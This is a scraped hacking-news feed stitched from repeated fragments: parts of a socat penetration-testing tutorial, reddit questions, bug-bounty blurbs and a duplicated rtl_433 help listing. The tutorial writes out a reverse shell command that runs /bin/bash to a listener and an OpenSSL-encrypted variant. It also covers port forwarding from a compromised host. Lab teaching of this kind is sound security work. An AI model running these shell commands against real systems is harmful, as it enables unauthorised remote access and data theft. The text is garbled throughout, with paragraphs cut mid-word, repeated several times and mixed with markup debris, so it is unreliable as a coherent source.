Hacking Articles Tips Tricks Videos Tutorials
Port and we will be able to connect to the bash shell as demonstrated below. The main issue with this type of session is the lack of authentication. Any user with a limited amount of information can connect to a shell and execute commands that can affect the…
unicate back to the attacking machine. <o:p
In the environments where we have a NAT or a Firewall, the reverse shell might be the only way to gain access to the machine. To communicate between the Kali Machine and the Ubuntu Machine using socat we will first need to start a listener on the Kali machine. It is similar to the command that we ran earlier with bind shell. The difference is the STDOUT added at the end of the command to create a listener for a Reverse Shell.<o:p socat -d -d TCP4-LISTEN:9999 STDOUT<o:phttps://1.bp.blogspot.com/-KOWyNHwwIL4/YQOquHQzV1I/AAAAAAAAyAA/-Yx2hKKx4Z0FmmV0n6Ry_scDOiZTMqrugCLcBGAsYHQ/s16000/15.png <v:shape<v:imagedata<o:p
Now moving to the Ubuntu Machine to start a reverse connection to connect to our listener on the Kali machine. With the Address Type, IP Address, and the Port with the type of connection that you want to establish. We see that the demonstration has the reverse bash shell to the Kali Machine. <o:p socat TCP4:192.168.1.2:9999 EXEC:/bin/bash<o:phttps://1.bp.blogspot.com/-WQ5NjcRWQ1Q/YQOq1vL3T1I/AAAAAAAAyAI/ZR71F2g1GVQnWRwLQRKd9SyaC_G3O3HqgCLcBGAsYHQ/s16000/16.png <v:shape<v:imagedata<o:p
To see and inspect the type of connection that we have from the Ubuntu machine we see that the shell that we receive is a basic bash shell on the Kali Machine that originated from the Ubuntu Machine.<o:p https://1.bp.blogspot.com/-3Kjx9GnTz64/YQOq9fiouNI/AAAAAAAAyAQ/YXSCL0XyQaYcruklTbyu5Hudmg9LKvodgCLcBGAsYHQ/s16000/17.png <v:shape<v:imagedata<o:p Encrypted Reverse Shell<o:pSimilar to the Bind Shell, the Reverse Shell also lack security such as the susceptibility Sniffing Attacks. We will be implementing similar techniques to encrypt the communications upon the Reverse Shell. To encrypt using OpenSSL, first, we need to create a key and a certificate associated with it. Here in this demonstration, we are creating a key by the name “ignite. the key” and the certificate by the name “ignite.crt”. The validity of the certificate is for 1000 days.<o:p openssl req -newkey rsa:2048 -nodes -keyout ignite.key -x509 -days 1000 -subj '/CN=www.ignite.lab/O=Ignite Tech./C=IN' -out ignite.crt<o:phttps://1.bp.blogspot.com/-XwnvW7MPnTg/YQOrDGltlEI/AAAAAAAAyAY/KDFpd_SFThEsLn_AUT4PXcxFKt2SgD5igCLcBGAsYHQ/s16000/20.png <v:shape<v:imagedata<o:p
From our previous assessment, we know that we need to convert the key and the certificate into a .pem file. We will again use the cat command to generate the .pem file.<o:p cat ignite.key ignite.crt > ignite.pem<o:phttps://1.bp.blogspot.com/-laDUKRfJ2Zk/YQOrHb3aJ-I/AAAAAAAAyAg/uCpbvoc9eAQJad-U6QyDrm8p-Q1P0dRUACLcBGAsYHQ/s16000/21.png <v:shape<v:imagedata<o:p
Now that we have the pem file the rest of the process is quite similar to the ones that we did with the encrypted bind shell and the reverse shell sections. We create a listener on the Kali Machine using the OPENSSL as the Address Type and the pem file as demonstrated below.<o:p https://1.bp.blogspot.com/-O0VsbcepGJg/YQOrNvBwqbI/AAAAAAAAyAk/sbPiouK5Ilc6u77sxWcqM0Xn1AJiTF5kACLcBGAsYHQ/s16000/22.png <v:shape<v:imagedata<o:p
Over at the Ubuntu machine, we are assigned to create the reverse shell back to the listener that we created on the Kali machine. We will use the same Address Type i.e., OPENSSL. With the IP Address, Port, and the type of shell that the listener is expecting. <o:p https://1.bp.blogspot.com/-frAzGI0fAfQ/YQOrTJ0mt9I/AAAAAAAAyAs/VfooLVqMXGcL-hRRXS6VyGDxZMUu2p5EwCLcBGAsYHQ/s16000/23.png <v:shape<v:imagedata<o:p
Let’s check the functionality of the shell. But while we are doing so, we will also capture the traffic between the Ubuntu Machine and Kali Machine with the help of Wireshark. We will then analyze the traffic to see if we were able to sniff the communication. We are reading t[...]
In the environments where we have a NAT or a Firewall, the reverse shell might be the only way to gain access to the machine. To communicate between the Kali Machine and the Ubuntu Machine using socat we will first need to start a listener on the Kali machine. It is similar to the command that we ran earlier with bind shell. The difference is the STDOUT added at the end of the command to create a listener for a Reverse Shell.<o:p socat -d -d TCP4-LISTEN:9999 STDOUT<o:phttps://1.bp.blogspot.com/-KOWyNHwwIL4/YQOquHQzV1I/AAAAAAAAyAA/-Yx2hKKx4Z0FmmV0n6Ry_scDOiZTMqrugCLcBGAsYHQ/s16000/15.png <v:shape<v:imagedata<o:p
Now moving to the Ubuntu Machine to start a reverse connection to connect to our listener on the Kali machine. With the Address Type, IP Address, and the Port with the type of connection that you want to establish. We see that the demonstration has the reverse bash shell to the Kali Machine. <o:p socat TCP4:192.168.1.2:9999 EXEC:/bin/bash<o:phttps://1.bp.blogspot.com/-WQ5NjcRWQ1Q/YQOq1vL3T1I/AAAAAAAAyAI/ZR71F2g1GVQnWRwLQRKd9SyaC_G3O3HqgCLcBGAsYHQ/s16000/16.png <v:shape<v:imagedata<o:p
To see and inspect the type of connection that we have from the Ubuntu machine we see that the shell that we receive is a basic bash shell on the Kali Machine that originated from the Ubuntu Machine.<o:p https://1.bp.blogspot.com/-3Kjx9GnTz64/YQOq9fiouNI/AAAAAAAAyAQ/YXSCL0XyQaYcruklTbyu5Hudmg9LKvodgCLcBGAsYHQ/s16000/17.png <v:shape<v:imagedata<o:p Encrypted Reverse Shell<o:pSimilar to the Bind Shell, the Reverse Shell also lack security such as the susceptibility Sniffing Attacks. We will be implementing similar techniques to encrypt the communications upon the Reverse Shell. To encrypt using OpenSSL, first, we need to create a key and a certificate associated with it. Here in this demonstration, we are creating a key by the name “ignite. the key” and the certificate by the name “ignite.crt”. The validity of the certificate is for 1000 days.<o:p openssl req -newkey rsa:2048 -nodes -keyout ignite.key -x509 -days 1000 -subj '/CN=www.ignite.lab/O=Ignite Tech./C=IN' -out ignite.crt<o:phttps://1.bp.blogspot.com/-XwnvW7MPnTg/YQOrDGltlEI/AAAAAAAAyAY/KDFpd_SFThEsLn_AUT4PXcxFKt2SgD5igCLcBGAsYHQ/s16000/20.png <v:shape<v:imagedata<o:p
From our previous assessment, we know that we need to convert the key and the certificate into a .pem file. We will again use the cat command to generate the .pem file.<o:p cat ignite.key ignite.crt > ignite.pem<o:phttps://1.bp.blogspot.com/-laDUKRfJ2Zk/YQOrHb3aJ-I/AAAAAAAAyAg/uCpbvoc9eAQJad-U6QyDrm8p-Q1P0dRUACLcBGAsYHQ/s16000/21.png <v:shape<v:imagedata<o:p
Now that we have the pem file the rest of the process is quite similar to the ones that we did with the encrypted bind shell and the reverse shell sections. We create a listener on the Kali Machine using the OPENSSL as the Address Type and the pem file as demonstrated below.<o:p https://1.bp.blogspot.com/-O0VsbcepGJg/YQOrNvBwqbI/AAAAAAAAyAk/sbPiouK5Ilc6u77sxWcqM0Xn1AJiTF5kACLcBGAsYHQ/s16000/22.png <v:shape<v:imagedata<o:p
Over at the Ubuntu machine, we are assigned to create the reverse shell back to the listener that we created on the Kali machine. We will use the same Address Type i.e., OPENSSL. With the IP Address, Port, and the type of shell that the listener is expecting. <o:p https://1.bp.blogspot.com/-frAzGI0fAfQ/YQOrTJ0mt9I/AAAAAAAAyAs/VfooLVqMXGcL-hRRXS6VyGDxZMUu2p5EwCLcBGAsYHQ/s16000/23.png <v:shape<v:imagedata<o:p
Let’s check the functionality of the shell. But while we are doing so, we will also capture the traffic between the Ubuntu Machine and Kali Machine with the help of Wireshark. We will then analyze the traffic to see if we were able to sniff the communication. We are reading t[...]
Hacking Articles Tips Tricks Videos Tutorials
unicate back to the attacking machine. <o:p In the environments where we have a NAT or a Firewall, the reverse shell might be the only way to gain access to the machine. To communicate between the Kali Machine and the Ubuntu Machine using socat we will first…
he contents of the /etc/passwd file with the help of the tail command. This is an appropriate example as this is the type of data that if sniffed can result in pretty serious consequences. <o:p https://1.bp.blogspot.com/-Q-YWjEKs3VQ/YQOraDFjU3I/AAAAAAAAyA0/oNuoCTrOegEgh1B8S0jG_oDQElmhJp7ngCLcBGAsYHQ/s16000/24.png <v:shape<v:imagedata<o:p
After running a bunch of commands through the reverse shell, we investigate the traffic captured by the Wireshark to try to make sense out of the communication. But as it is clear from the image provided below that the traffic is not readable after being encrypted by the OpenSSL.<o:p https://1.bp.blogspot.com/-Nky8pOmauEI/YQOrenejKjI/AAAAAAAAyA4/yF1EbRn55DIw3D4eWYIrHTD1nutyXuaSACLcBGAsYHQ/s16000/25.png <v:shape<v:imagedata<o:p Port Forwarding<o:pMoving on from the different types of the shell as the other Address Type that the socat supports are not so different in understanding and working. Another place where you can use socat is to perform Port Forwarding. You must be similar to the Metasploit Port Forward option that can be used when you have a session of a machine and there is another service that is only accessible to that compromised machine, you can use the Port Forward functionality to get that service forward to your local machine. To demonstrate the scenario, we have a session over our Ubuntu Machine. Upon running the netstat command we were able to identify that there is an HTTP service running that is privy to the Ubuntu Machine and not to our Kali machine. With the help of socat, we forwarded the HTTP service that was running on port 8080 to the Kali Machine’s local port 1234.<o:p netstat -antp<o:phttps://1.bp.blogspot.com/-XZDJfsdGd48/YQOrlECdcwI/AAAAAAAAyBA/muSmYByUZhsQUTt5Ehsf0qBH_SMD0h-oQCLcBGAsYHQ/s16000/30.png <v:shape<v:imagedata<o:p
Now that we have forwarded the service, we can access it on our Kali Machine on port 1234. Since it is an HTTP service, we used the Web Browser to take a look at the service and found a webpage as shown in the image below.<o:p https://1.bp.blogspot.com/-o7QkvD3qm3M/YQOrqnKmguI/AAAAAAAAyBE/I79nnoFHfSoBULkYs006IocKXdBH3w8TwCLcBGAsYHQ/s16000/31.png <v:shape<v:imagedata<o:p File Transfer<o:pNow, it’s time to discover another functionality of the socat. We can transfer files with the help of the connection that is established with the help of socat. For demonstration, we decided to create a text file with a small message as shown in the image below. Next, we run socat with the Address Type as TCP4 and create a listener with hosting the file with the help of the file keyword.<o:p cat demo.txt<o:psocat TCP4-LISTEN:443, fork file:demo.txt<o:phttps://1.bp.blogspot.com/-JZnmMKRzum0/YQOruUMaIzI/AAAAAAAAyBM/enSbBPuDWPQMGBuXkskcKw0cObswVYX_wCLcBGAsYHQ/s16000/40.png <v:shape<v:imagedata<o:p
As we created the file to transfer on our Kali Machine, we will now move to the Ubuntu machine and attempt to transfer the file demo.txt here. We need to connect to the listener that is created on the Kali Machine and mention the file name that is hosted along with the create keyword as shown in the image below. We can see that this will transfer the file. <o:p socat TCP4:192.168.1.2:443 file:demo.txt, create<o:pls<o:pcat demo.txt<o:phttps://1.bp.blogspot.com/-VgoVD0U78Fg/YQOryoqIIOI/AAAAAAAAyBQ/xxg5m4uizIkrZqRay3JEEupHU4gNUz_SgCLcBGAsYHQ/s16000/41.png <v:shape<v:imagedata<o:p Conclusion<o:pWhile writing this article, I intended to present a mixed bag of the introduction and advance of the Socat. It is one of the tools that in my opinion that most of the Penetration Testers have heard of but it seems that they refrain from using it as a daily driver because they are not comfortable leaving the Netcat. But this article might prove t[...]
After running a bunch of commands through the reverse shell, we investigate the traffic captured by the Wireshark to try to make sense out of the communication. But as it is clear from the image provided below that the traffic is not readable after being encrypted by the OpenSSL.<o:p https://1.bp.blogspot.com/-Nky8pOmauEI/YQOrenejKjI/AAAAAAAAyA4/yF1EbRn55DIw3D4eWYIrHTD1nutyXuaSACLcBGAsYHQ/s16000/25.png <v:shape<v:imagedata<o:p Port Forwarding<o:pMoving on from the different types of the shell as the other Address Type that the socat supports are not so different in understanding and working. Another place where you can use socat is to perform Port Forwarding. You must be similar to the Metasploit Port Forward option that can be used when you have a session of a machine and there is another service that is only accessible to that compromised machine, you can use the Port Forward functionality to get that service forward to your local machine. To demonstrate the scenario, we have a session over our Ubuntu Machine. Upon running the netstat command we were able to identify that there is an HTTP service running that is privy to the Ubuntu Machine and not to our Kali machine. With the help of socat, we forwarded the HTTP service that was running on port 8080 to the Kali Machine’s local port 1234.<o:p netstat -antp<o:phttps://1.bp.blogspot.com/-XZDJfsdGd48/YQOrlECdcwI/AAAAAAAAyBA/muSmYByUZhsQUTt5Ehsf0qBH_SMD0h-oQCLcBGAsYHQ/s16000/30.png <v:shape<v:imagedata<o:p
Now that we have forwarded the service, we can access it on our Kali Machine on port 1234. Since it is an HTTP service, we used the Web Browser to take a look at the service and found a webpage as shown in the image below.<o:p https://1.bp.blogspot.com/-o7QkvD3qm3M/YQOrqnKmguI/AAAAAAAAyBE/I79nnoFHfSoBULkYs006IocKXdBH3w8TwCLcBGAsYHQ/s16000/31.png <v:shape<v:imagedata<o:p File Transfer<o:pNow, it’s time to discover another functionality of the socat. We can transfer files with the help of the connection that is established with the help of socat. For demonstration, we decided to create a text file with a small message as shown in the image below. Next, we run socat with the Address Type as TCP4 and create a listener with hosting the file with the help of the file keyword.<o:p cat demo.txt<o:psocat TCP4-LISTEN:443, fork file:demo.txt<o:phttps://1.bp.blogspot.com/-JZnmMKRzum0/YQOruUMaIzI/AAAAAAAAyBM/enSbBPuDWPQMGBuXkskcKw0cObswVYX_wCLcBGAsYHQ/s16000/40.png <v:shape<v:imagedata<o:p
As we created the file to transfer on our Kali Machine, we will now move to the Ubuntu machine and attempt to transfer the file demo.txt here. We need to connect to the listener that is created on the Kali Machine and mention the file name that is hosted along with the create keyword as shown in the image below. We can see that this will transfer the file. <o:p socat TCP4:192.168.1.2:443 file:demo.txt, create<o:pls<o:pcat demo.txt<o:phttps://1.bp.blogspot.com/-VgoVD0U78Fg/YQOryoqIIOI/AAAAAAAAyBQ/xxg5m4uizIkrZqRay3JEEupHU4gNUz_SgCLcBGAsYHQ/s16000/41.png <v:shape<v:imagedata<o:p Conclusion<o:pWhile writing this article, I intended to present a mixed bag of the introduction and advance of the Socat. It is one of the tools that in my opinion that most of the Penetration Testers have heard of but it seems that they refrain from using it as a daily driver because they are not comfortable leaving the Netcat. But this article might prove t[...]
Hacking Articles Tips Tricks Videos Tutorials
he contents of the /etc/passwd file with the help of the tail command. This is an appropriate example as this is the type of data that if sniffed can result in pretty serious consequences. <o:p https://1.bp.blogspot.com/-Q-YWjEKs3VQ/YQOraDFjU3I/AAAAAAAAyA…
he push that is required to include Socat in your tool arsenal. <o:p
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Attack AI systems in Machine Learning Evasion Competition | Microsoft Security Blog
https://external-preview.redd.it/hI10LTol4rMo1FXiQPFO4kwOrhkmonZ9Kb8pLWoOBNY.jpg?width=640&crop=smart&auto=webp&s=bf3a46494f286210b1eca902f470582f1dc1d357 submitted by /u/AdmiralDoughnot
[link] [comments]
Attack AI systems in Machine Learning Evasion Competition | Microsoft Security Blog
https://external-preview.redd.it/hI10LTol4rMo1FXiQPFO4kwOrhkmonZ9Kb8pLWoOBNY.jpg?width=640&crop=smart&auto=webp&s=bf3a46494f286210b1eca902f470582f1dc1d357 submitted by /u/AdmiralDoughnot
[link] [comments]
hacking: security in practice
How to get the password of a .rar file?
I downloaded a rar file from my browser and it has a password to access it. How to unlock it?
submitted by /u/Poultrys
[link] [comments]
How to get the password of a .rar file?
I downloaded a rar file from my browser and it has a password to access it. How to unlock it?
submitted by /u/Poultrys
[link] [comments]
reddit
How to get the password of a .rar file?
I downloaded a rar file from my browser and it has a password to access it. How to unlock it?
hacking: security in practice
Websites other than Have I Been Pwned
I'm getting a lot of phishing texts now ever since the Facebook data leak. However, I've checked my phone number on the website but it says it wasn't part of the data breach. Could there be a chance they've missed me? I've tried a friend's number and that was part of the breach so I know it's not me typing my number incorrectly.
submitted by /u/techtom10
[link] [comments]
Websites other than Have I Been Pwned
I'm getting a lot of phishing texts now ever since the Facebook data leak. However, I've checked my phone number on the website but it says it wasn't part of the data breach. Could there be a chance they've missed me? I've tried a friend's number and that was part of the breach so I know it's not me typing my number incorrectly.
submitted by /u/techtom10
[link] [comments]
reddit
Websites other than Have I Been Pwned
I'm getting a lot of phishing texts now ever since the Facebook data leak. However, I've checked my phone number on the website but it says it...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Socat for Pentester
Socat is one of those kinds of tools that either you might not know at all, or if you know then you might know all the different kinds of stuff that you can do with it. While working with it, we felt that there are guides for socat but none
The post Socat for Pentester appeared first on Hacking Articles.
Socat for Pentester
Socat is one of those kinds of tools that either you might not know at all, or if you know then you might know all the different kinds of stuff that you can do with it. While working with it, we felt that there are guides for socat but none
The post Socat for Pentester appeared first on Hacking Articles.
Google Bug Bounty: $500 worth client-side DoS on Google Keep
A write-up about a Client-Side DoS on Keep that allowed me to block any user from accessing their keep notesContinue reading on InfoSec Write-ups »
Read more...
A write-up about a Client-Side DoS on Keep that allowed me to block any user from accessing their keep notesContinue reading on InfoSec Write-ups »
Read more...
Google Bug Bounty: $500 worth client-side DoS on Google Keep
https://infosecwriteups.com/google-bug-bounty-500-worth-client-side-dos-on-google-keep-35aab6aef279?source=rss------bug_bounty-5
https://infosecwriteups.com/google-bug-bounty-500-worth-client-side-dos-on-google-keep-35aab6aef279?source=rss------bug_bounty-5
A write-up about a Client-Side DoS on Keep that allowed me to block any user from accessing their keep notesContinue reading on InfoSec Write-ups » (https://infosecwriteups.com/google-bug-bounty-500-worth-client-side-dos-on-google-keep-35aab6aef279?source=rss------bug_bounty-5)
You will never be able to register or login at redacted.com
Hello, It’s me Bikram Kharal from Nepal.I am infosec learner and engineering student.
Read more...
Hello, It’s me Bikram Kharal from Nepal.I am infosec learner and engineering student.
Read more...
Unauthenticated Access To MongoDB Database of Oracle Corporation
Hello everyone, today I will be talking about one of the critical bugs which I found in the Oracle Corporation. Now, let’s start with the…
Read more...
Hello everyone, today I will be talking about one of the critical bugs which I found in the Oracle Corporation. Now, let’s start with the…
Read more...
Google Bug Bounty: $500 worth client-side DoS on Google Keep
A write-up about a Client-Side DoS on Keep that allowed me to block any user from accessing their keep notesContinue reading on InfoSec Write-ups »
Read more...
A write-up about a Client-Side DoS on Keep that allowed me to block any user from accessing their keep notesContinue reading on InfoSec Write-ups »
Read more...
Attacks on JSON Web Token (JWT)
In part1 of the article, I introduced JSON web tokens that what is JWT and How they are made?Continue reading on Medium »
Read more...
In part1 of the article, I introduced JSON web tokens that what is JWT and How they are made?Continue reading on Medium »
Read more...
Rtl_433 - Program To Decode Radio Transmissions From Devices On The ISM Bands (And Other Frequencies)
http://www.kitploit.com/2021/07/rtl433-program-to-decode-radio.html
http://www.kitploit.com/2021/07/rtl433-program-to-decode-radio.html
= General options =
[-V] Output the version string and exit
[-v] Increase verbosity (can be used multiple times).
-v : verbose, -vv : verbose decoders, -vvv : debug decoders, -vvvv : trace decoding).
[-c ] Read config options from a file
= Tuner options =
[-d | : | | rtl_tcp | help]
[-g | help] (default: auto)
[-t ] apply a list of keyword=value settings for SoapySDR devices
e.g. -t "antenna=A,bandwidth=4.5M,rfnotch_ctrl=false"
[-f ] Receive frequency(s) (default: 433920000 Hz)
[-H ] Hop interval for polling of multiple frequencies (default: 600 seconds)
[-p ] Set sample rate (default: 250000 Hz)
= Demodulato r options =
[-R | help] Enable only the specified device decoding protocol (can be used multiple times)
Specify a negative number to disable a device decoding protocol (can be used multiple times)
[-G] Enable blacklisted device decoding protocols, for testing only.
[-X | help] Add a general purpose decoder (prepend -R 0 to disable all decoders)
[-Y auto | classic | minmax] FSK pulse detector mode.
[-Y level=] Manual detection level used to determine pulses (-1.0 to -30.0) (0=auto).
[-Y minlevel=] Manual minimum detection level used to determine pulses (-1.0 to -99.0).
[-Y minsnr=] Minimum SNR to determine pulses (1.0 to 99.0).
[-Y autolevel] Set minlevel automatically based on average estimated noise.
[-Y squelch] Skip frames below estimated noise level to reduce cpu load.
[-Y ampest | magest] Choose amplitude or magnitude level estimator .
= Analyze/Debug options =
[-a] Analyze mode. Print a textual description of the signal.
[-A] Pulse Analyzer. Enable pulse analysis and decode attempt.
Disable all decoders with -R 0 if you want analyzer output only.
[-y ] Verify decoding of demodulated test data (e.g. "{25}fb2dd58") with enabled devices
= File I/O options =
[-S none | all | unknown | known] Signal auto save. Creates one file per signal.
Note: Saves raw I/Q samples (uint8 pcm, 2 channel). Preferred mode for generating test files.
[-r | help] Read data from input file instead of a receiver
[-w | help] Save data stream to output file (a '-' dumps samples to stdout)
[-W | help] Save data stream to output file, overwrite existing file
= Data output options =
[-F kv | json | csv | mqtt | influx | syslog | null | help] Produce decoded output in given format.
App end output to file with : (e.g. -F csv:log.csv), defaults to stdout.
Specify host/port for syslog with e.g. -F syslog:127.0.0.1:1514
[-M time[:] | protocol | level | noise[:secs] | stats | bits | help] Add various meta data to each output.
[-K FILE | PATH | | =] Add an expanded token or fixed tag to every output line.
[-C native | si | customary] Convert units in decoded output.
[-n ] Specify number of samples to take (each sample is an I/Q pair)
[-T ] Specify number of seconds to run, also 12:34 or 1h23m45s
[-E hop | quit] Hop/Quit after outputting successful event(s)
[-h] Output this usage help and exit
Use -d, -g, -R, -X, -F, -M, -r, -w, or -W without argument for more help
= Supported device protocols =
[01] Silvercrest Remote Control
[02] Rubicson Temperature Sensor
[03] Prolo gue, FreeTec NC-7104, NC-7159-675 temperature sensor
[04] Waveman Switch Transmitter
[06]* ELV EM 1000
[07]* ELV WS 2000
[08] LaCrosse TX Temperature / Humidity Sensor
[10]* Acurite 896 Rain Gauge
[11] Acurite 609TXC Temperature and Humidity Sensor
[12] Oregon Scientific Weather Sensor
[13]* Mebus 433
[14]* Intertechno 433
[15] KlikAanKlikUit Wireless Switch
[16] AlectoV1 Weather Sensor (Alecto WS3500 WS4500 Ventus W155/W044 Oregon)
[17] Cardin S466-TX2
[18] Fine Offset Electronics, WH2, WH5, Telldus Temperature/Humidity/Rain Sensor
[19] Nexus, FreeTec NC-7345, NX-3980, Solight TE82S, TFA 30.3209 temperature/humidity sensor
[-V] Output the version string and exit
[-v] Increase verbosity (can be used multiple times).
-v : verbose, -vv : verbose decoders, -vvv : debug decoders, -vvvv : trace decoding).
[-c ] Read config options from a file
= Tuner options =
[-d | : | | rtl_tcp | help]
[-g | help] (default: auto)
[-t ] apply a list of keyword=value settings for SoapySDR devices
e.g. -t "antenna=A,bandwidth=4.5M,rfnotch_ctrl=false"
[-f ] Receive frequency(s) (default: 433920000 Hz)
[-H ] Hop interval for polling of multiple frequencies (default: 600 seconds)
[-p ] Set sample rate (default: 250000 Hz)
= Demodulato r options =
[-R | help] Enable only the specified device decoding protocol (can be used multiple times)
Specify a negative number to disable a device decoding protocol (can be used multiple times)
[-G] Enable blacklisted device decoding protocols, for testing only.
[-X | help] Add a general purpose decoder (prepend -R 0 to disable all decoders)
[-Y auto | classic | minmax] FSK pulse detector mode.
[-Y level=] Manual detection level used to determine pulses (-1.0 to -30.0) (0=auto).
[-Y minlevel=] Manual minimum detection level used to determine pulses (-1.0 to -99.0).
[-Y minsnr=] Minimum SNR to determine pulses (1.0 to 99.0).
[-Y autolevel] Set minlevel automatically based on average estimated noise.
[-Y squelch] Skip frames below estimated noise level to reduce cpu load.
[-Y ampest | magest] Choose amplitude or magnitude level estimator .
= Analyze/Debug options =
[-a] Analyze mode. Print a textual description of the signal.
[-A] Pulse Analyzer. Enable pulse analysis and decode attempt.
Disable all decoders with -R 0 if you want analyzer output only.
[-y ] Verify decoding of demodulated test data (e.g. "{25}fb2dd58") with enabled devices
= File I/O options =
[-S none | all | unknown | known] Signal auto save. Creates one file per signal.
Note: Saves raw I/Q samples (uint8 pcm, 2 channel). Preferred mode for generating test files.
[-r | help] Read data from input file instead of a receiver
[-w | help] Save data stream to output file (a '-' dumps samples to stdout)
[-W | help] Save data stream to output file, overwrite existing file
= Data output options =
[-F kv | json | csv | mqtt | influx | syslog | null | help] Produce decoded output in given format.
App end output to file with : (e.g. -F csv:log.csv), defaults to stdout.
Specify host/port for syslog with e.g. -F syslog:127.0.0.1:1514
[-M time[:] | protocol | level | noise[:secs] | stats | bits | help] Add various meta data to each output.
[-K FILE | PATH | | =] Add an expanded token or fixed tag to every output line.
[-C native | si | customary] Convert units in decoded output.
[-n ] Specify number of samples to take (each sample is an I/Q pair)
[-T ] Specify number of seconds to run, also 12:34 or 1h23m45s
[-E hop | quit] Hop/Quit after outputting successful event(s)
[-h] Output this usage help and exit
Use -d, -g, -R, -X, -F, -M, -r, -w, or -W without argument for more help
= Supported device protocols =
[01] Silvercrest Remote Control
[02] Rubicson Temperature Sensor
[03] Prolo gue, FreeTec NC-7104, NC-7159-675 temperature sensor
[04] Waveman Switch Transmitter
[06]* ELV EM 1000
[07]* ELV WS 2000
[08] LaCrosse TX Temperature / Humidity Sensor
[10]* Acurite 896 Rain Gauge
[11] Acurite 609TXC Temperature and Humidity Sensor
[12] Oregon Scientific Weather Sensor
[13]* Mebus 433
[14]* Intertechno 433
[15] KlikAanKlikUit Wireless Switch
[16] AlectoV1 Weather Sensor (Alecto WS3500 WS4500 Ventus W155/W044 Oregon)
[17] Cardin S466-TX2
[18] Fine Offset Electronics, WH2, WH5, Telldus Temperature/Humidity/Rain Sensor
[19] Nexus, FreeTec NC-7345, NX-3980, Solight TE82S, TFA 30.3209 temperature/humidity sensor
[20] Ambient Weather, TFA 30.3208.02 temperature sensor
[21] Calibeur RF-104 Sensor
[22] X10 RF
[23] DSC Security Contact
[24]* Brennenstuhl RCS 2044
[25] Globaltronics GT-WT-02 Sensor
[26] Danfoss CFR Thermostat
[29] Chuango Security Technology
[30] Generic Remote SC226x EV1527
[31] TFA-Twin-Plus-30.3049, Conrad KW9010, Ea2 BL999
[32] Fine Offset Electronics WH1080/WH3080 Weather Station
[33] WT450, WT260H, WT405H
[34] LaCrosse WS-2310 / WS-3600 Weather Station
[35] Esperanza EWS
[36] Efergy e2 classic
[37]* Inovalley kw9015b, TFA Dostmann 30.3161 (Rain and temperature sensor)
[38] Generic temperature sensor 1
[39] WG-PB12V1 Temperature Sensor
[40] Acurite 592TXR Temp/Humidity, 5n1 Weather Station, 6045 Lightning, 3N1, Atlas
[41] Acurite 986 Refrigerator / Freezer Thermometer
[42] HIDEKI TS04 Temperature, Humidity, Wind and Rain Sensor
[43] Watchman Sonic / Apollo Ultrasonic / Beckett Rocket oil tank monitor
[44] CurrentCost Current Sensor
[45] emonTx OpenEnergyMonitor
[46] HT680 Remote control
[47] Conrad S3318P, FreeTec NC-5849-913 temperature humidity sensor
[48] Akhan 100F14 remote keyless entry
[49] Quhwa
[50] OSv1 Temperature Sensor
[51] Proove / Nexa / KlikAanKlikUit Wireless Switch
[52] Bresser Thermo-/Hygro-Sensor 3CH
[53] Springfield Temperature and Soil Moisture
[54] Oregon Scientific SL109H Remote Thermal Hygro Sensor
[55] Acurite 606TX Temperature Sensor
[56] TFA pool temperature sensor
[57] Kedsum Temperature & Humidity Sensor, Pearl NC-7415
[58] Blyss DC5-UK-WH
[59] Steelmate TPMS
[60] Schrader TPMS
[61]* LightwaveRF
[62]* Elro DB286A Doorbell
[63] Efergy Optical
[64]* Honda Car Key
[67] Radiohead ASK
[68] Kerui PIR / Contact Sensor
[69] Fine Offset WH1050 Weather Station
[70] Honeywell Door/Window Sensor, 2Gig DW10/DW11, RE208 repeater
[71] Maverick ET-732/733 BBQ Sensor
[72]* RF-tech
[73] LaCrosse TX141-Bv2, TX141TH-Bv2, TX141-Bv3, TX141W, TX145wsdth sensor
[74] Acurite 00275rm,00276rm Temp/Humidity with optional probe
[75] LaCrosse TX35DTH-IT, TFA Dostmann 30.3155 Temperature/Humidity sensor
[76] LaCrosse TX29IT, TFA Dostmann 30.3159.IT Temperature sensor
[77] Vaillant calorMatic VRT340f Central Heating Control
[78] Fine Offset Electronics, WH25, WH32B, WH24, WH65B, HP1000 Temperature/Humidity/Pressure Sensor
[79] Fine Offset Electronics, WH0530 Temperature/Rain Sensor
[80] IBIS beacon
[81] Oil Ultrasonic STANDARD FSK
[82] Citroen TPMS
[83] Oil Ultrasonic STANDARD ASK
[84] Thermopro TP11 Thermometer
[85] Solight TE44/TE66, EMOS E0107T, NX-6876-917
[86] Wireless Smoke and Heat Detector GS 558
[87] Generic wireless motion sensor
[88] Toyota TPMS
[89] Ford TPMS
[90] Renau lt TPMS
[91] inFactory, nor-tec, FreeTec NC-3982-913 temperature humidity sensor
[92] FT-004-B Temperature Sensor
[93] Ford Car Key
[94] Philips outdoor temperature sensor (type AJ3650)
[95] Schrader TPMS EG53MA4, PA66GF35
[96] Nexa
[97] Thermopro TP08/TP12/TP20 thermometer
[98] GE Color Effects
[99] X10 Security
[100] Interlogix GE UTC Security Devices
[101]* Dish remote 6.3
[102] SimpliSafe Home Security System (May require disabling automatic gain for KeyPad decodes)
[103] Sensible Living Mini-Plant Moisture Sensor
[104] Wireless M-Bus, Mode C&T, 100kbps (-f 868950000 -s 1200000)
[105] Wireless M-Bus, Mode S, 32.768kbps (-f 868300000 -s 1000000)
[106]* Wireless M-Bus, Mode R, 4.8kbps (-f 868330000)
[107]* Wireless M-Bus, Mode F, 2.4kbps
[108] Hyundai WS SENZOR Remote Temperature Sensor
[109] WT0124 Pool Thermom eter
[110] PMV-107J (Toyota) TPMS
[111] Emos TTX201 Temperature Sensor
[21] Calibeur RF-104 Sensor
[22] X10 RF
[23] DSC Security Contact
[24]* Brennenstuhl RCS 2044
[25] Globaltronics GT-WT-02 Sensor
[26] Danfoss CFR Thermostat
[29] Chuango Security Technology
[30] Generic Remote SC226x EV1527
[31] TFA-Twin-Plus-30.3049, Conrad KW9010, Ea2 BL999
[32] Fine Offset Electronics WH1080/WH3080 Weather Station
[33] WT450, WT260H, WT405H
[34] LaCrosse WS-2310 / WS-3600 Weather Station
[35] Esperanza EWS
[36] Efergy e2 classic
[37]* Inovalley kw9015b, TFA Dostmann 30.3161 (Rain and temperature sensor)
[38] Generic temperature sensor 1
[39] WG-PB12V1 Temperature Sensor
[40] Acurite 592TXR Temp/Humidity, 5n1 Weather Station, 6045 Lightning, 3N1, Atlas
[41] Acurite 986 Refrigerator / Freezer Thermometer
